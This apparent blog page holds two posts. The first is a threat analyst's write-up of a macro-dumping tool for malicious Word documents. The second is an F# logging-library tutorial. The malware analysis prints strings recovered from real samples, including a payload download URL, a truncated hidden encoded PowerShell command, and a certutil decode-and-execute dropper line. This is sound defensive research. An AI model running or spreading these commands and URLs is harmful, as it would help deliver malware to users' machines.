sabato 13 agosto 2016

Analyzing a malicious word document was never so easy

As a Threat Analyst I'm often involved in analyzing malicious MS Word documents. This task involve, among the other things, the extraction of the embedded macros in order to be analyzed. Currently there are various tools that allow you to extract the source code of the macro via static analysis, but I found this task pretty boring and time consuming.

Also, the malware authors use various approaches to avoid the insertion of useful information inside the macro source code. A recent article describe some of these techniques.

So I decided to spend some hours and create a program that allows you to:
  • Automatically dump all executed macros
  • Automatically dump all the strings instantiated during the macro execution
  • Automatically dump all the executable dropped by the macro (by string content inspection)
I called it the Macro Inspector, and you can found the source code at https://github.com/enkomio/MacroInspector.

Dump all execute macros

In order to accomplish this task, I had to find the point where the macro source code is read in order to be parsed and executed. After spending some time reversing the VBE7 library I found what seems to be a good point to read the source code:
E8 30070000   CALL 7024428B
8BF0          MOV ESI,EAX
81FE C4880A80 CMP ESI,800A88C4
0F84 CD000000 JE 70243C36
81FE 0D9D0A80 CMP ESI,800A9D0D

After the execution of the CALL instruction we have EDX register points to the line of macro source code just read. We have then a good point to intercept the source of the executed macro.

Dump all instantiated strings

To fulfill this point it was necessary to dig a little bit in the OLE Automation concept. After reading a bit more about the OLE Automation I understood that if I was able to dump all the created BSTR objects I have a good amount of information about the inner working of the executed macro. The BSTR string are managed through various functions, one of the most interested one is the SysFreeString method. By intercepting this method I was able to get all the freed strings created during the macro execution.

Finally, by inspecting the content of the dumped strings I can recognized what could be a valid PE file.

Test on real word malicious documents

In order to intercept the interested code I used the WinAppDbg python module. MacroInspector is very easy to use, just run the python program and open the malicious WORD document. The MacroInspector will loop forever until a new WINWORD process is found.

For all my test I used MS Office 2013, it could happen that for different office version the code to read the macro source may change and then the program it is not able to set the breakpoint.

I decided to try the program with some of the malicious files presented in the Virus Bulletin article. For each sample I executed the macro_inspector program, opened the malicious document, enabled the macro and then closed the document (this last step ensure that events associated with closing action are executed).

Evading macro code extraction I


Hash: 7888b523f6b8a42c8bfad0a2fd02ba6e7837299fbc3d6a2da6bea20f302691f7
By extracting the macros from this document we can notice that no useful information are retrieved. But if we take a look at the dumped strings we can easily identify the following useful information:
String: http:/
String: http://
String: http://w
String: http://ww
String: http://www
String: http://www.
String: http://www.s
String: http://www.st
String: http://www.stu
String: http://www.stud
String: http://www.studi
String: http://www.studio
String: http://www.studiop
String: http://www.studiopa
String: http://www.studiopan
String: http://www.studiopane
String: http://www.studiopanel
String: http://www.studiopanell
String: http://www.studiopanella
String: http://www.studiopanella.
String: http://www.studiopanella.i
String: http://www.studiopanella.it
String: http://www.studiopanella.it/
String: http://www.studiopanella.it/9
String: http://www.studiopanella.it/9u
String: http://www.studiopanella.it/9uh
String: http://www.studiopanella.it/9uh8
String: http://www.studiopanella.it/9uh87
String: http://www.studiopanella.it/9uh87g
String: http://www.studiopanella.it/9uh87g7
String: http://www.studiopanella.it/9uh87g75
String: http://www.studiopanella.it/9uh87g756
from this log it is pretty clear that the macro is trying to decrypt an url.

Evading macro code extraction - II


Hash: e812350f2f84d1b7f211a1778073e14ae52bc3bded8aeac536170361a608f8fa
Even in this case as in the previous one no useful information are contained in the dumped macro source code. But again, if we take a look at the list of extracted strings we can identify very useful information like the following powershell command:
powershell.exe -NoP -sta -NonI -W Hidden -Enc JABXAEMAPQBOAGUAdwAtAE8AQgBKAGUAQwB0ACAAUwBZAFMAVABlAG0ALgBO...

Evading payload magic signature check & Certutil abuse


Hash: 562994fcbece64bd617e200485eeaa6d43e5300780205e72d931ff3e8ccb17aa
Same story as the previous one :) This time the macro tries to execute a shell command after decrypting its value as showed in the following log excerpt:
String: cmd /c certut
String: cmd /c certutil -decode %TM
String: cmd /c certutil -decode %TMP%\\panda.pf
String: cmd /c certutil -decode %TMP%\\panda.pfx %TM
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.ex
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.exe & star
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.exe & start %TM
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.exe & start %TMP%\panda.ex
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.exe & start %TMP%\panda.exe
in the log we can also see a base64 string, that after being decoded present the well know MZ magic value as the first two bytes:
String: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAFBFAABMARAAVwEBAA...

Conclusion

The Macro Inspector is a simple but very useful tool that can really speed up the analysis of Word Document, it is still in its first version, and there is a lot of space for improvement, but I hope that you can find it helpful :)

References

  1. The Journey of Evasion Enters Behavioural Phase - https://www.virusbulletin.com/virusbulletin/2016/07/journey-evasion-enters-behavioural-phase/
  2. WinAppDbg - http://winappdbg.sourceforge.net/
  3. OLE Automation - https://msdn.microsoft.com/en-us/library/dt80be78.aspx

sabato 16 luglio 2016

New Fluent interface in Fslog

Fslog is a simple yet powerful library that can be used to log messages in your program. It was implemented with a semantic approach in mind, and you can find it on GitHub.


The initial interface was a bit cumbersome to use, so I decided to implement a more user friendly interface based on the Fluent style. Let see how to use this new interface, the first step is to configure a LogProvider:
open System
open ES.Fslog

let lp = new LogProvider()
let consoleLogger = new ConsoleLogger(LogLevel.Informational)
lp.AddLogger(consoleLogger)
That piece of code creates and configures a LogProvider with a ConsoleLogger. Now you can create your own LogSource and add it to the LogProvider in order to start to log to the console. Of course you can customize how the log messages are displayed by creating a LogFormatter, like this:
open System
open ES.Fslog
open ES.Fslog.Loggers
open ES.Fslog.TextFormatters

type internal ConsoleLogFormatter() = 
    let getLevelStr(logLevel: LogLevel) =
        match logLevel with
        | LogLevel.Critical      -> "CRIT"
        | LogLevel.Error         -> "ERRO"
        | LogLevel.Warning       -> "WARN"
        | LogLevel.Informational -> "INFO"
        | LogLevel.Verbose       -> "TRAC"
        | _ -> failwith "getLevelStr"
    
    member this.FormatMessage(logEvent: LogEvent) =
        String.Format("[{0}] {1}", getLevelStr(logEvent.Level), logEvent.Message)            

    interface ITextFormatter with
        member this.FormatMessage(logEvent: LogEvent) =
            this.FormatMessage(logEvent)

let customConsoleLogger = new ConsoleLogger(logLevel, new ConsoleLogFormatter())
You can now implement the different log sources where necessary, this is a very easy task thanks to the new fluent interface:
open System
open ES.Fslog

// create the log source
let logSource = 
    log "EntityRepository"
    |> verbose "NoPrint" "I will not be printed due to the current LogLevel value :("
    |> info "Start" "Process started!"
    |> warning "FileNotFound" "Unable to open the file {0}, create it"
    |> warning "DirectoryNotFound" "Unable to list file in directory: {0}. Create it."
    |> error "UnableToCreateFile" "Unable to create the file: {0} in directory: {1}"
    |> critical "DatabaseDown" "Database is not reachable, this is not good!"
    |> build

// add the log source to the log provider
logProvider.AddLogSourceToLoggers(logSource)

// start to log
logSource?NoPrint()
logSource?Start()
logSource?FileNotFound("log.txt")
logSource?DirectoryNotFound("logDirectory/")
logSource?UnableToCreateFile("log.txt", "logDirectory/")
logSource?DatabaseDown()
And that's all, you can find more examples in the FluentTests class.